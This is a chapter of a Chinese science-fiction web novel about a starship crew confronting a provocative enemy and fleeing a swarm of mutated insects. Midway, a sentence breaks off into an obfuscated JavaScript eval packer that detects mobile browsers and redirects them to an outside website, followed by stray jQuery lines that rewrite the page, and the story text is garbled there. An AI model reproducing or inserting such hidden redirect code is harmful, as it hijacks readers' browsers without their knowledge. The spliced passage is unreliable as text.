距离星船启动还有13分钟,在896号出口。
严锦遇到一个人,她想都没有想就直冲严锦的命门攻击。
“冷洛,你想干嘛?”
蒋飞燕跨步走上前,只一抬手阻挡住了她的攻击,凑近冷洛,“我想,我们没有什么仇吧?”
“呵。蒋飞燕,原来是你。我怎么没想到呢?那个破坏我游戏的人会是你。”
冷洛目光停顿了一下,说话的语气也停顿了一下,突然间,她泪眼婆娑,眼泪滴落在蒋飞燕的手上,委屈巴巴地开口,“明明我们在一起那么久,却没有向我展示过你的一分一毫。”
严锦的目光扫视其他地方,调侃道:“你的另一半?”
蒋飞燕并没有回应严锦的问题,她再次重申了一遍她的问题:“冷洛,你想干什么?”
冷洛一下子止住了她的眼泪,眼泪却还挂在睫毛上,顺着脸颊滑进衣领,洇出一小片深色的湿痕。
她突然拽住蒋飞燕的手腕,又放声大笑起来:“你这个负心汉,哈哈哈哈哈,你居然问我想干什么?”
“我想干什么?我想干你。”冷洛的神情变得冷静,淡然,仿佛刚刚那个大吵大闹的人并不是她。
严锦觉得她并不适合呆在这里,她决定先进船舱进行启动的准备:“那我先进去?”
说完,就抬步准备离开现场。
“噌——”
一把粒子刀直直地插在了严锦前进的道路上,冷洛的嘴角勾起一抹冷笑:“我不想让她走的人,敢走?”
蒂娜走上前去,轻而易举地从地上将粒子刀拔了出来,冷哼一声:“不自量力。你是谁派来的?”
“没有任何人派我来这里,冷洛是自己来的。”
严锦觉得这个人的说话方式很奇怪,说不出来的诡异,她转过身来,紧紧地盯着冷洛:“所以你是来干什么的?”
这是冷洛第三次被询问这个问题,她一次也没有回答,但她依旧很不耐烦地开口道:“我是来找你们玩的!”
“只要你们陪我玩,我就告诉你们,嗯……”冷洛想了一下她的筹码,“另一个‘预言者’的行动?欸呀呀,你们中间还有一个地星的人?”
“地星还有人敢反抗她们的女王陛下?真是稀奇——”冷洛笑着调侃道,“或许我也可以告诉你们地星的计划,怎么样?这个条件不错吧?”
严锦最讨厌遇到的就是冷洛这样的人,她根本不清楚对面想干什么,也不知道对面想要什么,所以她没有开口。
场面陷入了沉寂,没有一个人开口,时间一分一秒的过去了。
距离星船启动还有10分钟。
“蒋飞燕,你的后背依旧刻有地星第七军团的徽记吧?”冷洛突然拍手,“啪”,引来了所有人的注目,“当年‘蚀骨毒’实验部队的蒋老师——”
她的语气轻蔑,最后那个字还拉长了语调。
“蒋老师还在找你的妹妹吗?”
蒋飞燕攥紧了她的拳头,压抑着内心的希冀,故作平淡地询问:“你知道吗?”
冷洛的嘴角扬起来了一抹巨大的微笑。严锦有一种不好的预感,她觉得接下来的讯息会让蒋飞燕奔溃。
“她死得很漂亮,在我的收藏柜里面。”冷洛的皮肤白皙,她的嘴唇很薄,就像她说得话一样锋利。
蒋飞燕的拳头“哐当”砸在旁边的金属箱上,箱壁瞬间凹陷出个深坑。她的指关节泛白,转头面对着蒂娜说:“抱歉,队长,我接下来会陪她‘玩’一下的。”
蒂娜点点头:“蒋飞燕!控制情绪。”
“我知道。”
冷洛看见蒋飞燕没有理会自己,有些不服气:“我说你妹妹蒋蝉的骸骨,现在泡在福尔马林里,摆在我收藏柜的C位哦。”
“闭嘴!”蒋飞燕的粒子刀突然出鞘,刀身擦着冷洛的咽喉划过,带起的劲风掀飞了她的兜帽。
冷洛的兜帽滑落,露出耳后块淡紫色的鳞片,那是虫化初期的印记。她非但没躲,反而微微仰头,让刀刃更深地贴住咽喉,笑得很张狂:“怎么?不敢动手?蒋飞燕,动手啊。”
蒋飞燕的脑海里充满了一种冲动,她们在叫喊着“动手啊,动手啊。杀了她就可以报仇了,杀了她……”。
蒋飞燕的身体也在发生巨变,耳后也隐隐约约在长出一若隐若现的鳞片,粒子刀在她掌心微微颤动,她的情绪越来越冲动,她想要立马杀死眼前那个人。
冷洛突然笑出声,笑声震得粒子刀微微发颤:“你妹妹临死前也是这样,粒子刀抵着她的心脏,问我‘能不能留我姐姐一条活路’。真的是可怜巴巴的,可她的姐姐呢?现在还不能为她报仇雪恨,真是可怜的一个妹妹啊。”
“蒋飞燕!”蒂娜突然间大喊,手指间立马调配出来了一只简易的麻醉剂,她必须现在马上给蒋飞燕注射这只麻醉剂,一旦变成虫化者就是不可逆的,她不想失去蒋飞燕。
听见这话的蒋飞燕一下子就停止了自己的动作,冷静下来并收回了自己的粒子刀,莞尔一笑:“冷洛,你没有见过我妹妹吧,我的妹妹是不可能说出这种话的。我的妹妹只会想方设法地活下来,然后说‘你要杀就杀我的姐姐,我不想死’。”
蒋飞燕轻笑一声,她的妹妹可不是那种为了亲人会牺牲自己的人,她只会为了自己而牺牲亲人,她是一个冷静到极致的人。
她还记得小时候,她们的父母问妹妹“爸爸妈妈掉到水里,她会救谁?”
蒋蝉想了很多办法父母都说规则不允许,在蒋飞燕看来谁问她就说谁不就好了,实在不行说一起救,顺便买个萌就过去了。
蒋蝉不一样,她特别不耐烦地说,那就让爸爸妈妈一起死好了。蒋飞燕也不明白,蒋蝉为什么要那么说。
也是从那一天开始父母对她和妹妹开始有了区别对待,父母会说蒋蝉是一个很可怕的小孩。
蒋飞燕不那么觉得,明明是父母非要那么问的,要不然蒋蝉是不会那么回答的。她曾经问过蒋蝉为什么要那么回答,蒋蝉却反问蒋飞燕,难道自己的生命作为第一位是一件很奇怪的事情吗?
不奇怪,是她们太奇怪了。
在蒋飞燕看来蒋蝉是一个言行合一的人,所以她并不认为蒋蝉会为了她牺牲自己,同样她也不会。
在冷洛说出那句话的时候,蒋飞燕就知道,冷洛在说谎了,她想要激起自己的情绪,然后让自己虫化。
这样看来,冷洛是一个知道很多的人,就连她的身份冷洛都知道的一清二楚,她绝对是一个重要人物=,这样的人为什么要出现在她们的面前?
蒋飞燕耳后那若隐若现的鳞片在她变得冷静后,一下子就消失了,消失地无影无踪。
距离星船发动还有5分钟。
严锦看了一眼自己的光脑,上面俨然有一个5分钟的倒计时在行动着,她连忙走进星船内部,这次冷洛没有阻止严锦的脚步,她想要立
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982084|160098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
马发动星船。
胡茗她们还没有来吗?蒂娜有些着急地来回踱步,她放下了手中的麻醉剂,四处张望着,想要寻找到胡茗的痕迹。
“啧,真没意思。”冷洛举起双手,微微一笑,“怎么不把我铐起来吗?我可是一个不定时炸弹,你们不想安全地知道我口中的讯息吗?”
“没必要。”
“切,真是自信。”
距离星船发动还有3分钟。
“啊啊啊啊啊——”
蒂娜眺望远处,看见一片黑压压的东西正朝着她们的方向席卷而来,那是什么?
蒂娜定睛一看,卧槽!她看清是数不清的黑虫,叠着虫化者的躯体往前涌,怎么会那么多,前方还有两个小人在驾驶着小毛驴疯狂移动。
蒂娜觉得两眼一黑,有一丝丝地绝望,她立马把这个消息告诉了严锦,她们现在必须要面对的是对面那成千上万的虫化者。
蒂娜也忍不住好奇,胡茗她们到底干了什么事情才能引发众怒,导致那么多虫化者在追逐她们?!!她们是去捅了虫化者的老巢了吗?
真是让蒂娜头大,还不能不要胡茗这个人。
距离星船发动还有1分钟。
“那是……矿区的应急运输驴?”冷洛笑着看向那两头灰扑扑的小毛驴在虫群里左冲右突,驴蹄子甚至能精准避开黑虫的啃咬,“她们从哪弄来的这玩意儿?”
胡茗的喊声从驴背上飘来,带着点破罐子破摔的亢奋:“哟吼吼,蒂娜,我们来了!”
蒂娜:有点想婉拒她们……但是,不行。
“所有人。立马上星船,我来等她们,一旦她们就位,立马驾驶星船离开。”蒂娜冷静地部署着所有人,“严锦,你的飞船能撑多久。”
光脑里传来了严锦的声音:“我不知道,我又没碰到过这种东西。”
40秒,39秒……
蒂娜叹了一口气,45度角看天空:“看命吧。”
“赵一!往虫群右翼扔‘大的’!”
“大的”指的是她们从工作室带出来的绝神草粉末,赵一之前藏在驴鞍里,本想留着突围用,现在显然到了关键时刻。
三枚绿色炸弹“咻咻咻”地飞向虫群右翼。
“轰隆——轰隆——轰隆——”
三声巨响连成一片,紫色的冲击波像潮水般漫过虫群,黑虫接触到的瞬间就化作焦屑,虫化者的机甲外壳冒出白烟,动作明显迟滞。最前面的监护者怒吼着挥尾刺,却被冲击波掀飞的碎石砸中胸口。
“还有20秒!”严锦的声音带着电流杂音,星船的能量屏障突然暴涨,淡绿色的光膜覆盖了整个星船,“快!屏障撑不了虫化者多久!”
胡茗突然拽了拽驴缰绳,小毛驴竟听懂了似的,猛地腾空跃起,向着飞船卖力蹦去。
“10秒!”
小毛驴的前蹄已经踏上星船的能量屏障,赵一突然间抱起胡茗从驴背上扑出去,两人在船舱彻底关闭前滚滚进来了,正好撞在严锦的控制台旁。
“3——2——1!”
星船的引擎发出撕裂空气的轰鸣,舱门在最后一秒合拢,虫化者监护者的尾刺擦着舱门划过,留下三道冒着白烟的划痕,深深地留在了星船上。
胡茗趴在地上,看着舷窗外被甩远的虫群,突然笑出声,活下来了,有点爽啊。
胡茗平复好自己破烂不堪的内心后,环顾四周,她认识的人不多啊。